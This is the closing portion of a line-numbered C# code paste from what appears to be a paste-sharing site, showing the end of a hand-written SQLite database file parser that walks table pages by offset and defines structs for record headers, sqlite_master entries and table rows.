  819. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2);
  820. ReadTableFromOffset(Convert.ToUInt64(
  821. decimal.Multiply(
  822. decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + num13), 4)), decimal.One),
  823. new decimal(page_size))));
  824. }
  825. ReadTableFromOffset(Convert.ToUInt64(
  826. decimal.Multiply(
  827. decimal.Subtract(
  828. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
  829. decimal.One), new decimal(page_size))));
  830. }
  831. return true;
  832. }
  833.  
  834. [StructLayout(LayoutKind.Sequential)]
  835. private struct record_header_field
  836. {
  837. public long size;
  838. public long type;
  839. }
  840.  
  841. [StructLayout(LayoutKind.Sequential)]
  842. private struct sqlite_master_entry
  843. {
  844. public long row_id;
  845. public string item_type;
  846. public string item_name;
  847. public readonly string astable_name;
  848. public long root_num;
  849. public string sql_statement;
  850. }
  851.  
  852. [StructLayout(LayoutKind.Sequential)]
  853. private struct table_entry
  854. {
  855. public long row_id;
  856. public string[] content;
  857. }
  858. }
  859. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement